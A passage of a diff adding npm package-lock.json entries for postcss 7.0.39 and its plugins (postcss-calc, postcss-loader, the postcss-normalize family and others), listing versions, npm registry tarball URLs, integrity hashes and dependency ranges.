+            "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg=="
+        },
+        "postcss": {
+            "version": "7.0.39",
+            "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
+            "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==",
+            "requires": {
+                "picocolors": "^0.2.1",
+                "source-map": "^0.6.1"
+            },
+            "dependencies": {
+                "picocolors": {
+                    "version": "0.2.1",
+                    "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
+                    "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA=="
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "postcss-calc": {
+            "version": "7.0.5",
+            "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-7.0.5.tgz",
+            "integrity": "sha512-1tKHutbGtLtEZF6PT4JSihCHfIVldU72mZ8SdZHIYriIZ9fh9k9aWSppaT8rHsyI3dX+KSR+W+Ix9BMY3AODrg==",
+            "requires": {
+                "postcss": "^7.0.27",
+                "postcss-selector-parser": "^6.0.2",
+                "postcss-value-parser": "^4.0.2"
+            }
+        },
+        "postcss-colormin": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-4.0.3.tgz",
+            "integrity": "sha512-WyQFAdDZpExQh32j0U0feWisZ0dmOtPl44qYmJKkq9xFWY3p+4qnRzCHeNrkeRhwPHz9bQ3mo0/yVkaply0MNw==",
+            "requires": {
+                "browserslist": "^4.0.0",
+                "color": "^3.0.0",
+                "has": "^1.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-convert-values": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-4.0.1.tgz",
+            "integrity": "sha512-Kisdo1y77KUC0Jmn0OXU/COOJbzM8cImvw1ZFsBgBgMgb1iL23Zs/LXRe3r+EZqM3vGYKdQ2YJVQ5VkJI+zEJQ==",
+            "requires": {
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-discard-comments": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-4.0.2.tgz",
+            "integrity": "sha512-RJutN259iuRf3IW7GZyLM5Sw4GLTOH8FmsXBnv8Ab/Tc2k4SR4qbV4DNbyyY4+Sjo362SyDmW2DQ7lBSChrpkg==",
+            "requires": {
+                "postcss": "^7.0.0"
+            }
+        },
+        "postcss-discard-duplicates": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.2.tgz",
+            "integrity": "sha512-ZNQfR1gPNAiXZhgENFfEglF93pciw0WxMkJeVmw8eF+JZBbMD7jp6C67GqJAXVZP2BWbOztKfbsdmMp/k8c6oQ==",
+            "requires": {
+                "postcss": "^7.0.0"
+            }
+        },
+        "postcss-discard-empty": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-4.0.1.tgz",
+            "integrity": "sha512-B9miTzbznhDjTfjvipfHoqbWKwd0Mj+/fL5s1QOz06wufguil+Xheo4XpOnc4NqKYBCNqqEzgPv2aPBIJLox0w==",
+            "requires": {
+                "postcss": "^7.0.0"
+            }
+        },
+        "postcss-discard-overridden": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-4.0.1.tgz",
+            "integrity": "sha512-IYY2bEDD7g1XM1IDEsUT4//iEYCxAmP5oDSFMVU/JVvT7gh+l4fmjciLqGgwjdWpQIdb0Che2VX00QObS5+cTg==",
+            "requires": {
+                "postcss": "^7.0.0"
+            }
+        },
+        "postcss-flexbugs-fixes": {
+            "version": "4.2.1",
+            "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-4.2.1.tgz",
+            "integrity": "sha512-9SiofaZ9CWpQWxOwRh1b/r85KD5y7GgvsNt1056k6OYLvWUun0czCvogfJgylC22uJTwW1KzY3Gz65NZRlvoiQ==",
+            "requires": {
+                "postcss": "^7.0.26"
+            }
+        },
+        "postcss-load-config": {
+            "version": "2.1.2",
+            "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-2.1.2.tgz",
+            "integrity": "sha512-/rDeGV6vMUo3mwJZmeHfEDvwnTKKqQ0S7OHUi/kJvvtx3aWtyWG2/0ZWnzCt2keEclwN6Tf0DST2v9kITdOKYw==",
+            "requires": {
+                "cosmiconfig": "^5.0.0",
+                "import-cwd": "^2.0.0"
+            },
+            "dependencies": {
+                "cosmiconfig": {
+                    "version": "5.2.1",
+                    "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz",
+                    "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==",
+                    "requires": {
+                        "import-fresh": "^2.0.0",
+                        "is-directory": "^0.3.1",
+                        "js-yaml": "^3.13.1",
+                        "parse-json": "^4.0.0"
+                    }
+                },
+                "import-fresh": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz",
+                    "integrity": "sha512-eZ5H8rcgYazHbKC3PG4ClHNykCSxtAhxSSEM+2mb+7evD2CKF5V7c0dNum7AdpDh0ZdICwZY9sRSn8f+KH96sg==",
+                    "requires": {
+                        "caller-path": "^2.0.0",
+                        "resolve-from": "^3.0.0"
+                    }
+                },
+                "js-yaml": {
+                    "version": "3.14.1",
+                    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+                    "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+                    "requires": {
+                        "argparse": "^1.0.7",
+                        "esprima": "^4.0.0"
+                    }
+                },
+                "parse-json": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
+                    "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==",
+                    "requires": {
+                        "error-ex": "^1.3.1",
+                        "json-parse-better-errors": "^1.0.1"
+                    }
+                },
+                "resolve-from": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
+                    "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw=="
+                }
+            }
+        },
+        "postcss-loader": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-3.0.0.tgz",
+            "integrity": "sha512-cLWoDEY5OwHcAjDnkyRQzAXfs2jrKjXpO/HQFcc5b5u/r7aa471wdmChmwfnv7x2u840iat/wi0lQ5nbRgSkUA==",
+            "requires": {
+                "loader-utils": "^1.1.0",
+                "postcss": "^7.0.0",
+                "postcss-load-config": "^2.0.0",
+                "schema-utils": "^1.0.0"
+            },
+            "dependencies": {
+                "json5": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+                    "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+                    "requires": {
+                        "minimist": "^1.2.0"
+                    }
+                },
+                "loader-utils": {
+                    "version": "1.4.0",
+                    "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz",
+                    "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==",
+                    "requires": {
+                        "big.js": "^5.2.2",
+                        "emojis-list": "^3.0.0",
+                        "json5": "^1.0.1"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                }
+            }
+        },
+        "postcss-merge-longhand": {
+            "version": "4.0.11",
+            "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-4.0.11.tgz",
+            "integrity": "sha512-alx/zmoeXvJjp7L4mxEMjh8lxVlDFX1gqWHzaaQewwMZiVhLo42TEClKaeHbRf6J7j82ZOdTJ808RtN0ZOZwvw==",
+            "requires": {
+                "css-color-names": "0.0.4",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0",
+                "stylehacks": "^4.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-merge-rules": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-4.0.3.tgz",
+            "integrity": "sha512-U7e3r1SbvYzO0Jr3UT/zKBVgYYyhAz0aitvGIYOYK5CPmkNih+WDSsS5tvPrJ8YMQYlEMvsZIiqmn7HdFUaeEQ==",
+            "requires": {
+                "browserslist": "^4.0.0",
+                "caniuse-api": "^3.0.0",
+                "cssnano-util-same-parent": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-selector-parser": "^3.0.0",
+                "vendors": "^1.0.0"
+            },
+            "dependencies": {
+                "postcss-selector-parser": {
+                    "version": "3.1.2",
+                    "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz",
+                    "integrity": "sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==",
+                    "requires": {
+                        "dot-prop": "^5.2.0",
+                        "indexes-of": "^1.0.1",
+                        "uniq": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "postcss-minify-font-values": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-4.0.2.tgz",
+            "integrity": "sha512-j85oO6OnRU9zPf04+PZv1LYIYOprWm6IA6zkXkrJXyRveDEuQggG6tvoy8ir8ZwjLxLuGfNkCZEQG7zan+Hbtg==",
+            "requires": {
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-minify-gradients": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-4.0.2.tgz",
+            "integrity": "sha512-qKPfwlONdcf/AndP1U8SJ/uzIJtowHlMaSioKzebAXSG4iJthlWC9iSWznQcX4f66gIWX44RSA841HTHj3wK+Q==",
+            "requires": {
+                "cssnano-util-get-arguments": "^4.0.0",
+                "is-color-stop": "^1.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-minify-params": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-4.0.2.tgz",
+            "integrity": "sha512-G7eWyzEx0xL4/wiBBJxJOz48zAKV2WG3iZOqVhPet/9geefm/Px5uo1fzlHu+DOjT+m0Mmiz3jkQzVHe6wxAWg==",
+            "requires": {
+                "alphanum-sort": "^1.0.0",
+                "browserslist": "^4.0.0",
+                "cssnano-util-get-arguments": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0",
+                "uniqs": "^2.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-minify-selectors": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-4.0.2.tgz",
+            "integrity": "sha512-D5S1iViljXBj9kflQo4YutWnJmwm8VvIsU1GeXJGiG9j8CIg9zs4voPMdQDUmIxetUOh60VilsNzCiAFTOqu3g==",
+            "requires": {
+                "alphanum-sort": "^1.0.0",
+                "has": "^1.0.0",
+                "postcss": "^7.0.0",
+                "postcss-selector-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-selector-parser": {
+                    "version": "3.1.2",
+                    "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz",
+                    "integrity": "sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==",
+                    "requires": {
+                        "dot-prop": "^5.2.0",
+                        "indexes-of": "^1.0.1",
+                        "uniq": "^1.0.1"
+                    }
+                }
+            }
+        },
+        "postcss-modules-extract-imports": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.1.tgz",
+            "integrity": "sha512-6jt9XZwUhwmRUhb/CkyJY020PYaPJsCyt3UjbaWo6XEbH/94Hmv6MP7fG2C5NDU/BcHzyGYxNtHvM+LTf9HrYw==",
+            "requires": {
+                "postcss": "^6.0.1"
+            },
+            "dependencies": {
+                "postcss": {
+                    "version": "6.0.23",
+                    "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+                    "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+                    "requires": {
+                        "chalk": "^2.4.1",
+                        "source-map": "^0.6.1",
+                        "supports-color": "^5.4.0"
+                    }
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "postcss-modules-local-by-default": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz",
+            "integrity": "sha512-X4cquUPIaAd86raVrBwO8fwRfkIdbwFu7CTfEOjiZQHVQwlHRSkTgH5NLDmMm5+1hQO8u6dZ+TOOJDbay1hYpA==",
+            "requires": {
+                "css-selector-tokenizer": "^0.7.0",
+                "postcss": "^6.0.1"
+            },
+            "dependencies": {
+                "postcss": {
+                    "version": "6.0.23",
+                    "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+                    "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+                    "requires": {
+                        "chalk": "^2.4.1",
+                        "source-map": "^0.6.1",
+                        "supports-color": "^5.4.0"
+                    }
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "postcss-modules-scope": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-1.1.0.tgz",
+            "integrity": "sha512-LTYwnA4C1He1BKZXIx1CYiHixdSe9LWYVKadq9lK5aCCMkoOkFyZ7aigt+srfjlRplJY3gIol6KUNefdMQJdlw==",
+            "requires": {
+                "css-selector-tokenizer": "^0.7.0",
+                "postcss": "^6.0.1"
+            },
+            "dependencies": {
+                "postcss": {
+                    "version": "6.0.23",
+                    "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+                    "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+                    "requires": {
+                        "chalk": "^2.4.1",
+                        "source-map": "^0.6.1",
+                        "supports-color": "^5.4.0"
+                    }
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "postcss-modules-values": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-1.3.0.tgz",
+            "integrity": "sha512-i7IFaR9hlQ6/0UgFuqM6YWaCfA1Ej8WMg8A5DggnH1UGKJvTV/ugqq/KaULixzzOi3T/tF6ClBXcHGCzdd5unA==",
+            "requires": {
+                "icss-replace-symbols": "^1.1.0",
+                "postcss": "^6.0.1"
+            },
+            "dependencies": {
+                "postcss": {
+                    "version": "6.0.23",
+                    "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+                    "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+                    "requires": {
+                        "chalk": "^2.4.1",
+                        "source-map": "^0.6.1",
+                        "supports-color": "^5.4.0"
+                    }
+                },
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "postcss-normalize-charset": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-4.0.1.tgz",
+            "integrity": "sha512-gMXCrrlWh6G27U0hF3vNvR3w8I1s2wOBILvA87iNXaPvSNo5uZAMYsZG7XjCUf1eVxuPfyL4TJ7++SGZLc9A3g==",
+            "requires": {
+                "postcss": "^7.0.0"
+            }
+        },
+        "postcss-normalize-display-values": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.2.tgz",
+            "integrity": "sha512-3F2jcsaMW7+VtRMAqf/3m4cPFhPD3EFRgNs18u+k3lTJJlVe7d0YPO+bnwqo2xg8YiRpDXJI2u8A0wqJxMsQuQ==",
+            "requires": {
+                "cssnano-util-get-match": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-positions": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-4.0.2.tgz",
+            "integrity": "sha512-Dlf3/9AxpxE+NF1fJxYDeggi5WwV35MXGFnnoccP/9qDtFrTArZ0D0R+iKcg5WsUd8nUYMIl8yXDCtcrT8JrdA==",
+            "requires": {
+                "cssnano-util-get-arguments": "^4.0.0",
+                "has": "^1.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-repeat-style": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.2.tgz",
+            "integrity": "sha512-qvigdYYMpSuoFs3Is/f5nHdRLJN/ITA7huIoCyqqENJe9PvPmLhNLMu7QTjPdtnVf6OcYYO5SHonx4+fbJE1+Q==",
+            "requires": {
+                "cssnano-util-get-arguments": "^4.0.0",
+                "cssnano-util-get-match": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-string": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-4.0.2.tgz",
+            "integrity": "sha512-RrERod97Dnwqq49WNz8qo66ps0swYZDSb6rM57kN2J+aoyEAJfZ6bMx0sx/F9TIEX0xthPGCmeyiam/jXif0eA==",
+            "requires": {
+                "has": "^1.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-timing-functions": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.2.tgz",
+            "integrity": "sha512-acwJY95edP762e++00Ehq9L4sZCEcOPyaHwoaFOhIwWCDfik6YvqsYNxckee65JHLKzuNSSmAdxwD2Cud1Z54A==",
+            "requires": {
+                "cssnano-util-get-match": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-unicode": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.1.tgz",
+            "integrity": "sha512-od18Uq2wCYn+vZ/qCOeutvHjB5jm57ToxRaMeNuf0nWVHaP9Hua56QyMF6fs/4FSUnVIw0CBPsU0K4LnBPwYwg==",
+            "requires": {
+                "browserslist": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-url": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-4.0.1.tgz",
+            "integrity": "sha512-p5oVaF4+IHwu7VpMan/SSpmpYxcJMtkGppYf0VbdH5B6hN8YNmVyJLuY9FmLQTzY3fag5ESUUHDqM+heid0UVA==",
+            "requires": {
+                "is-absolute-url": "^2.0.0",
+                "normalize-url": "^3.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "is-absolute-url": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz",
+                    "integrity": "sha512-vOx7VprsKyllwjSkLV79NIhpyLfr3jAp7VaTCMXOJHu4m0Ew1CZ2fcjASwmV1jI3BWuWHB013M48eyeldk9gYg=="
+                },
+                "normalize-url": {
+                    "version": "3.3.0",
+                    "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-3.3.0.tgz",
+                    "integrity": "sha512-U+JJi7duF1o+u2pynbp2zXDW2/PADgC30f0GsHZtRh+HOcXHnw137TrNlyxxRvWW5fjKd3bcLHPxofWuCjaeZg=="
+                },
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-normalize-whitespace": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.2.tgz",
+            "integrity": "sha512-tO8QIgrsI3p95r8fyqKV+ufKlSHh9hMJqACqbv2XknufqEDhDvbguXGBBqxw9nsQoXWf0qOqppziKJKHMD4GtA==",
+            "requires": {
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
